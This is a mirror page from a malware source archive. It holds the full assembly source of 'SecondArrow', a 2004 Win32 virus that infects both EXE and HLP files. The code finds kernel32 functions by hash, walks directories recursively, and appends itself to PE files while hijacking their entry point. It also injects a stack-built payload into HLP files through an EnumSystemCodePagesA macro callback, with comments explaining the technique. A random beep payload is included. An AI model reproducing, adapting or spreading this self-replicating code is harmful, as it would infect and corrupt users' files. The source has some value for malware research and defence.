mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-23 11:55:26 +00:00
588 lines
15 KiB
NASM
588 lines
15 KiB
NASM
;
|
|
; SecondArrow by BlueOwl
|
|
;
|
|
; HLP/EXE (Cross)-Infector
|
|
;
|
|
; Disclaimer
|
|
;
|
|
; This is the assembler source of a VIRUS. Me, the author
|
|
; cannot be held responsible for any problems caused by
|
|
; the compiled program. Please do not assemble it if you do
|
|
; not know what you are doing.
|
|
;
|
|
; Description
|
|
;
|
|
; Exes and hlps have always been in a nice kind of circulation,
|
|
; and this is exactly what this virus exploits, infecting both.
|
|
; It infects up to 3 files per run and only randomly activates
|
|
; its payload when no file was infected. I liked doing something
|
|
; like this because i thought it was fun combining to techniques
|
|
; of infection into one.
|
|
;
|
|
; About hlps
|
|
;
|
|
; Hlps are a little bit harder to infect than exefiles (when dealing
|
|
; with the bare minimum infection), and infecting hlps is relatively
|
|
; onnused comparing to the thousands of exeinfectors around this globe.
|
|
; However, it is quite possible to do so and it can work under any
|
|
; windows platform with most versions of winhlp.exe.
|
|
;
|
|
; Hlp file infection just exploits the very simple fact that you can
|
|
; use any windows function in hlps. So for example you could use
|
|
; MessageBoxA(0,"Hello","Dear reader",0); and when the hlpfile loads
|
|
; it will display this string. Now the thing that can be exploited
|
|
; here is that one could also pass something like EnumWindows("[string]"
|
|
; , 0); to it and the "[string]" would be executed because this is
|
|
; an ENUMERATE function (windows calls the first argument). And
|
|
; this string can also be the virus code. There is however one problem:
|
|
; the virus must be a string and thus can't be executed if any
|
|
; zero's are present in the string. This is solved in hlp virusses by
|
|
; writing/pusing the entire virus body onto stack and executing it there.
|
|
;
|
|
; Payload
|
|
;
|
|
; Make a scary sound. ;)
|
|
;
|
|
; Assemble with fasm (version 1.50/1.52 should work fine at least)
|
|
; get it from http://www.flatassembler.net
|
|
|
|
format PE GUI 4.0
|
|
|
|
include '%fasminc%\win32a.inc' ; fasm assembles this FLAT with read/write/execute attributes
|
|
|
|
; .equates
|
|
GENERIC_READWRITE equ 0C0000000h
|
|
find_data equ (_fd-4)
|
|
hfind equ (_hf-4)
|
|
virus_size equ ((virus_enda-virus_start)/4+1)*4 ; aligned to a dword (required when being in stack)
|
|
virus_end equ (virus_start+virus_size) ; otherwise the virus will start with a few zeros
|
|
OldEip equ (oep-4)
|
|
|
|
macro wcall proc,[arg] ; wcall procedure (indirect)
|
|
{ common ; a macro for calling windows apis ;)
|
|
if ~ arg eq
|
|
stdcall [ebp+proc-delta],arg
|
|
else
|
|
call [ebp+proc-delta]
|
|
end if }
|
|
|
|
|
|
; .startup
|
|
mov dword [OldEip], exit
|
|
; .code
|
|
virus_start: push 012345678h ; only used when an exe was infected
|
|
oep: pushad ; save regs
|
|
cld ; clear direction flag
|
|
decrypt_from: call set_seh_handler
|
|
mov esp, [esp+8] ; restore seh
|
|
jmp error_occurred
|
|
|
|
db "..SecondArrow.."
|
|
|
|
set_seh_handler:sub eax, eax
|
|
fs push dword [eax]
|
|
fs mov [eax], esp ; setup self exeption handling
|
|
|
|
exehlpa: stc ; this is a clc when we are a hlp
|
|
jc exe_start
|
|
|
|
mov edi, [esp+virus_size+44] ; esi = return address (in kernel32)
|
|
jmp in_find_k32
|
|
exe_start: mov edi, [esp+44] ; edi = somewhere in k32
|
|
jmp in_find_k32
|
|
find_k32: dec edi ; what do you think of this routine ;)
|
|
in_find_k32: sub di, di ; align
|
|
cmp word [edi], "MZ"
|
|
jnz find_k32 ; edi = base of kernel32
|
|
|
|
call load_delta
|
|
delta: dd 0c3941b3eh ; data is carried close to delta so
|
|
CreateFile dd ? ; this way most references are small
|
|
dd 092d23c21h
|
|
ReadFile dd ?
|
|
dd 0b9b3edbfh
|
|
SetFilePointer dd ?
|
|
dd 0d43240b9h
|
|
WriteFile dd ?
|
|
dd 08a425b5dh
|
|
CloseHandle dd ?
|
|
dd 0bda885d4h
|
|
FindFirstFile dd ?
|
|
dd 06c38b20bh
|
|
FindNextFile dd ?
|
|
dd 0a050a531h
|
|
FindClose dd ?
|
|
dd 0c6c1b075h
|
|
GlobalAlloc dd ?
|
|
dd 0c4617123h
|
|
GlobalLock dd ?
|
|
dd 05837bb59h
|
|
GlobalUnlock dd ?
|
|
dd 0b8925923h
|
|
GlobalFree dd ?
|
|
dd 0642682e4h
|
|
SetCurrentDirectory dd ?
|
|
dd 08a844000h
|
|
Beep dd ? ; for the payload
|
|
dd 030e656feh
|
|
GetTickCount dd ? ; ditto
|
|
dd 0
|
|
|
|
infection_count db 0
|
|
|
|
hmem dd "Spac"
|
|
hfile dd "e fo"
|
|
hfmem dd "r re"
|
|
hfstart dd "nt $"
|
|
nbr dd "5 ! "
|
|
all_mask db "*.*",0 ; seach for whatever
|
|
|
|
macrostart db 4,0,_mse-_ms,0
|
|
_ms db 'RR("KERNEL32","EnumSystemCodePagesA","SU")',0 ; a macro with callback features
|
|
_mse: db 4,0
|
|
macro_size dw ?
|
|
enumw db 'EnumSystemCodePagesA("'
|
|
xchg edi, esp ; edi = esp
|
|
std ; decrementing pointer
|
|
dec edi ; otherwise the last byte would get overwritten
|
|
endmacrostart:
|
|
startmacrosize equ (endmacrostart-macrostart)
|
|
|
|
macroend: xchg edi, esp ; esp = edi
|
|
inc esp ; actual entry
|
|
push esp
|
|
ret ; jump to esp
|
|
db '",0)',0
|
|
endmacroend:
|
|
endmacrosize equ (endmacroend-macroend)
|
|
|
|
|
|
load_delta: pop ebp ; ebp = delta handle
|
|
mov esi, ebp
|
|
lodsd
|
|
get_funcs: xchg ebx, eax
|
|
push esi
|
|
push ebp
|
|
mov ebp, [edi+60]
|
|
add ebp, edi ; ebp = ptr to peheader
|
|
mov ebp, [ebp+120]
|
|
add ebp, edi ; ebp = ptr to export table
|
|
mov edx, [ebp+36]
|
|
add edx, edi ; edx = ptr to function ordinals
|
|
mov esi, [ebp+32]
|
|
add esi, edi ; esi = ptr to ptrs of function names
|
|
mov ecx, [ebp+20] ; ecx = number of exported functions
|
|
find_function: push esi
|
|
push edx
|
|
sub eax, eax
|
|
cdq ; edx=eax=0
|
|
mov esi, [esi]
|
|
add esi, edi ; esi = ptr to function name
|
|
make_checksum: lodsb
|
|
add edx, eax
|
|
rol edx, 5
|
|
or eax, eax
|
|
jnz make_checksum ; edx = checksum
|
|
cmp edx, ebx ; compare with needed
|
|
pop edx
|
|
pop esi
|
|
jz ff_ok
|
|
add esi, 4 ; next namepointer
|
|
inc edx
|
|
inc edx ; next ordinal
|
|
loop find_function
|
|
jmp function_notfound ; exit with eax = 0
|
|
ff_ok: mov esi, [ebp+28]
|
|
add esi, edi ; esi = ptr to function addresses
|
|
movzx ecx, word [edx] ; ecx = function number
|
|
inc ecx ; ecx ++
|
|
rep lodsd
|
|
add eax, edi ; eax = function address
|
|
function_notfound:
|
|
pop ebp
|
|
pop esi
|
|
mov [esi], eax
|
|
or eax, eax ; function could not be found?
|
|
je error_occurred
|
|
lodsd
|
|
lodsd
|
|
or eax, eax
|
|
jnz get_funcs ; load all functions
|
|
|
|
mov byte [ebp+infection_count-delta], 3 ; better not more then 3 ;)
|
|
|
|
wcall GlobalAlloc,GMEM_MOVEABLE,314
|
|
or eax, eax
|
|
jz error_occurred
|
|
mov [ebp+find_data-delta], eax
|
|
wcall GlobalLock,eax
|
|
mov [ebp+hmem-delta], eax
|
|
|
|
call infect_files
|
|
|
|
cmp byte [ebp+infection_count-delta], 3 ; nothing infected?
|
|
jnz close_mem
|
|
wcall GetTickCount ; Get a "random" number
|
|
|
|
cmp al, 44h ; so this occurs one in about 256 times
|
|
jnz close_mem
|
|
|
|
; payload
|
|
push 37 ; make a scary sound payload :)
|
|
pop esi
|
|
sub edi, edi
|
|
countup: add esi, edi
|
|
wcall Beep,esi,40
|
|
inc esi
|
|
test esi, 7
|
|
jnz nok
|
|
inc edi
|
|
nok: cmp esi, 1500
|
|
jb countup
|
|
|
|
close_mem: mov esi, 012345678h
|
|
_fd: wcall GlobalUnlock,esi
|
|
wcall GlobalFree,esi
|
|
error_occurred: sub eax, eax
|
|
fs pop dword [eax]
|
|
pop ebx
|
|
exehlpb: stc
|
|
popad
|
|
jc exit_exe
|
|
add esp, virus_size+4 ; fix stack
|
|
sub eax, eax ; return false
|
|
ret 4
|
|
|
|
exit_exe: ret
|
|
|
|
; ///////////////////////////////////////////////////////////////////////////
|
|
|
|
infect_files: lea eax, [ebp+all_mask-delta] ; seach for anything
|
|
wcall FindFirstFile,eax,[ebp+hmem-delta]
|
|
mov [ebp+hfind-delta], eax ; save findhandle
|
|
inc eax
|
|
jz no_file_found ; close memory on error
|
|
|
|
|
|
try_next_file: cmp byte [ebp+infection_count-delta], 0
|
|
jz no_file_found ; close search
|
|
mov edi, [ebp+hmem-delta]
|
|
|
|
mov eax, [edi+32] ; eax = size of file
|
|
and al, 15
|
|
cmp al, 15 ; check for infection padding
|
|
jz already_infected
|
|
|
|
call set_infection_seh
|
|
mov esp, [esp+8]
|
|
jmp restore_seh
|
|
set_infection_seh:
|
|
sub eax, eax
|
|
fs push dword [eax]
|
|
fs mov [eax], esp
|
|
|
|
; open and read file
|
|
|
|
lea ebx, [edi+44d]
|
|
|
|
mov esi, ebx ; esi = start of filename
|
|
find_end: lodsb
|
|
or al, al
|
|
jnz find_end ; esi = ptr to end of file name
|
|
mov eax, [esi-5] ; eax = file extension
|
|
or eax, 020202020h ; to lowercase
|
|
cmp eax, ".exe"
|
|
je ext_ok
|
|
cmp eax, ".hlp"
|
|
jne not_infectable
|
|
ext_ok:
|
|
sub eax, eax
|
|
wcall CreateFile,ebx,GENERIC_READWRITE,eax,eax,3,128,eax ; open the file
|
|
|
|
mov [ebp+hfile-delta], eax
|
|
inc eax
|
|
jz cant_open_file
|
|
|
|
mov eax, dword [edi+32d]
|
|
add eax, virus_size*3+4000h ; add some extra space
|
|
|
|
wcall GlobalAlloc,GMEM_MOVEABLE,eax ; Get some space
|
|
or eax, eax
|
|
jz close_file
|
|
mov [ebp+hfmem-delta], eax
|
|
wcall GlobalLock,eax ; Lock it (required for some windowsversions)
|
|
|
|
or eax, eax
|
|
jz close_fmem
|
|
mov [ebp+hfstart-delta], eax
|
|
|
|
push eax
|
|
|
|
lea ebx, [ebp+nbr-delta]
|
|
|
|
wcall ReadFile,[ebp+hfile-delta],eax,[edi+32d],ebx,0 ; Load file into memory
|
|
or eax, eax
|
|
jz close_lock
|
|
|
|
pop edx
|
|
mov edi, edx ; save start to edi too
|
|
|
|
push edx
|
|
lea eax, [ebp+exehlpa-delta]
|
|
lea ecx, [ebp+exehlpb-delta]
|
|
push dword [ecx]
|
|
push ecx
|
|
mov ebx, [esi-5]
|
|
or ebx, 020202020h
|
|
cmp ebx, ".exe"
|
|
je is_exe
|
|
mov byte [eax], 0f8h
|
|
mov byte [ecx], 0f8h ; hlp marker (clc)
|
|
call infect_hlpfile
|
|
jmp infect_done
|
|
is_exe: mov byte [eax], 0f9h ; exe marker (stc)
|
|
mov byte [ecx], 0f9h
|
|
call infect_exefile
|
|
infect_done: pop eax
|
|
pop dword [eax]
|
|
pop edx
|
|
jc close_lock ; carry flag is on if error happened
|
|
|
|
dec byte [ebp+infection_count-delta] ; take on off the infection counter
|
|
|
|
sub edi, edx ; edi = size of file
|
|
|
|
push edi
|
|
wcall SetFilePointer,[ebp+hfile-delta],0,0,FILE_BEGIN
|
|
pop ecx
|
|
|
|
or cl, 15 ; infection sign
|
|
|
|
lea eax, [ebp+nbr-delta]
|
|
wcall WriteFile,[ebp+hfile-delta],[ebp+hfstart-delta],ecx,eax,0
|
|
|
|
close_lock: wcall GlobalUnlock,[ebp+hfmem-delta]
|
|
close_fmem: wcall GlobalFree,[ebp+hfmem-delta]
|
|
close_file: wcall CloseHandle,[ebp+hfile-delta]
|
|
cant_open_file:
|
|
jmp restore_seh
|
|
|
|
not_infectable: cmp dword [edi], FILE_ATTRIBUTE_DIRECTORY ; is this a directory?
|
|
jnz restore_seh
|
|
lea eax, [edi+44]
|
|
cmp byte [eax], "." ; is a root?
|
|
jz restore_seh
|
|
wcall SetCurrentDirectory,eax ; set it as dir
|
|
push dword [ebp+hfind-delta]
|
|
call infect_files ; recursive call
|
|
pop dword [ebp+hfind-delta]
|
|
call dot_dot
|
|
db "..",0
|
|
dot_dot: wcall SetCurrentDirectory ; return to this dir
|
|
restore_seh: sub eax, eax
|
|
fs pop dword [eax]
|
|
pop eax
|
|
|
|
already_infected:
|
|
push [ebp+hmem-delta]
|
|
push 012345678h
|
|
_hf: call [ebp+FindNextFile-delta]
|
|
or eax, eax
|
|
jnz try_next_file
|
|
no_file_found:
|
|
wcall FindClose,[ebp+hfind-delta]
|
|
ret
|
|
|
|
|
|
; ----------------------------------------------------------------------------------------
|
|
|
|
; both routines
|
|
; on entry: edi = edx = start of file
|
|
;
|
|
; on exit: carry on: error happened
|
|
; carry off: infection successfull
|
|
|
|
; i tried to make the smallest possible routine for this
|
|
; all is old school and should be easily understandable
|
|
; reading the comments ;)
|
|
|
|
infect_exefile: cmp word [edx], "MZ" ; "MZ" present?
|
|
jnz no_good_exe
|
|
add edx, [edx+60]
|
|
cmp word [edx], "PE" ; "PE" present?
|
|
jnz no_good_exe
|
|
mov esi, edx ; esi = peheader
|
|
add esi, 120 ; esi = dirheader
|
|
mov eax, [edx+116] ; eax = number of dir entries
|
|
shl eax, 3 ; eax = eax*8
|
|
add esi, eax ; esi = first section header
|
|
movzx eax, word [edx+6] ; eax = number of sections
|
|
dec eax ; eax = eax-1
|
|
imul eax,eax,40
|
|
add esi, eax ; esi = ptr to last section header
|
|
or byte [esi+39], 0F0h ; give section necessary rights
|
|
mov ecx, virus_size ; ecx = size of virus
|
|
mov ebx, [esi+16] ; ebx = physical size of section
|
|
add [esi+16], ecx ; increase section physical size
|
|
add [esi+8], ecx ; increase section virtual size
|
|
push dword [esi+8] ; push section virtual size
|
|
pop dword [edx+80] ; imagesize = section virtual size
|
|
mov eax, [esi+12] ; eax = section rva
|
|
add [edx+80], eax ; add it to the imagesize
|
|
add edi, [esi+20] ; edi = section offset
|
|
add edi, ebx ; edi = end of section
|
|
add eax, ebx ; eax = rva of virus
|
|
xchg [edx+40], eax ; swap it with old entrypoint
|
|
add eax, [edx+52] ; add imagebase to it
|
|
mov [ebp+OldEip-delta], eax ; save it
|
|
lea esi, [ebp+virus_start-delta] ; esi = virus start
|
|
rep movsb ; edi = ptr to end of file
|
|
clc ; indicate sucess
|
|
ret
|
|
no_good_exe: stc ; indicate error
|
|
ret
|
|
|
|
; HLP Infection routine, see upper comments
|
|
; and comments below to see how it works
|
|
;
|
|
; .The source of HLP.AYUDA (29a#5) was very helpfull when
|
|
; .i got lost a little! Thankyou Bumblebee.
|
|
;
|
|
; Here is a little "diagram" about how we touch this stuff.
|
|
; Note: if you don't know, rb [num] means [num] bytes
|
|
; dots mean and undefined number of data
|
|
;
|
|
; -------- HLP FILE -------
|
|
;
|
|
; Magic dd 00035f3fh
|
|
; DirStart dd offset main_directory
|
|
; NotDir dd ?
|
|
; filesize dd official filesize
|
|
; .
|
|
; .
|
|
; .
|
|
; main_directory:
|
|
; String rb 9
|
|
; Magic dw 293bh
|
|
; Data rb 28
|
|
; Kind dw ?
|
|
; .
|
|
; .
|
|
; .
|
|
; String "|SYSTEM"
|
|
; System dd offset to system_directory
|
|
; .
|
|
; .
|
|
; system_directory:
|
|
; data rb ? (here is the old system directory)
|
|
; .
|
|
; .
|
|
; .
|
|
; eof_file:
|
|
; (here the old system_directory + our stuff comes)
|
|
;
|
|
; ----------------------------
|
|
|
|
|
|
infect_hlpfile: cmp dword [edi], 00035f3fh ; check for magic value
|
|
jnz no_good_hlp
|
|
mov esi, [edi+12] ; esi = filesize
|
|
add edi, [edi+4] ; edi = ptr to hlpfileheader
|
|
cmp word [edi+9], 293bh ; check for magic here
|
|
jnz no_good_hlp
|
|
cmp word [edi+39], 1 ; check if the data is not indexed
|
|
jnz no_good_hlp
|
|
|
|
mov ecx, 565 ; set scan range
|
|
find_system: inc edi
|
|
cmp dword [edi], "|SYS" ; find |SYSTEM, ignoring all between
|
|
jz system_found
|
|
loop find_system
|
|
jmp no_good_hlp
|
|
|
|
system_found: xchg esi, [edi+8] ; swap it with ptr to system dir
|
|
add esi, edx ; get system dir
|
|
cmp word [esi+9], 036ch ; check if system dir
|
|
jnz no_good_hlp
|
|
mov ecx, [esi] ; size of system dir
|
|
mov edi,edx
|
|
add edi,[edx+12] ; edi = ptr to end of file
|
|
push edi ; save start
|
|
rep movsb ; copy old system directory
|
|
push edi
|
|
lea esi, [ebp+macrostart-delta] ; copy start of new macro
|
|
mov ecx, startmacrosize
|
|
rep movsb
|
|
|
|
lea esi, [ebp+virus_end-delta]
|
|
mov ecx, virus_size
|
|
|
|
|
|
; The whole virus will be translated into
|
|
; "mov al, virus_byte[x]; stosb" 's, if
|
|
; the character is a zero a "sub al, al;
|
|
; stosb" is used instead. Furthermore
|
|
; other "special" chars are "\"d.
|
|
|
|
loop_generate: mov al, 0B0h ; mov al, ..
|
|
dec esi
|
|
mov ah, byte [esi]
|
|
cmp ah, 22h ; '"'
|
|
je fix_it
|
|
cmp ah, 27h ; '''
|
|
je fix_it
|
|
cmp ah, 5ch ; '\'
|
|
je fix_it
|
|
cmp ah, 60h ; '''
|
|
je fix_it
|
|
or ah, ah ; 0
|
|
jnz no_fix
|
|
mov ax, 0C028h ; sub al, al
|
|
jmp no_fix
|
|
fix_it: stosb
|
|
mov al, '\'
|
|
no_fix: stosw
|
|
mov al, 0AAh ; stosb
|
|
stosb
|
|
loop loop_generate
|
|
|
|
lea esi, [ebp+macroend-delta]
|
|
mov cl, endmacrosize
|
|
rep movsb
|
|
|
|
pop esi ; get start of new sysdir
|
|
pop ebx
|
|
mov ecx, edi ; ecx = edi
|
|
sub ecx, esi ; ecx = size of new sysdir
|
|
sub ecx, (enumw-macrostart)
|
|
mov word [esi+macro_size-macrostart], cx
|
|
|
|
mov ecx, edi
|
|
sub edi, ebx ; edi = system size
|
|
mov [ebx], edi
|
|
add [edx+12], edi
|
|
sub edi, 9
|
|
mov [ebx+4], edi
|
|
|
|
xchg ecx, edi ; edi = end of file
|
|
clc ; indicate success
|
|
ret
|
|
|
|
no_good_hlp: stc ; failure
|
|
ret
|
|
|
|
; i hope you understood this stuff!
|
|
|
|
db "My way into history!",13,10
|
|
db "BlueOwl June/2004"
|
|
|
|
virus_enda:
|
|
|
|
padding dd 0
|
|
|
|
exit: ret
|
|
|
|
; BlueOwl June/2004 ;)
|
|
|
|
|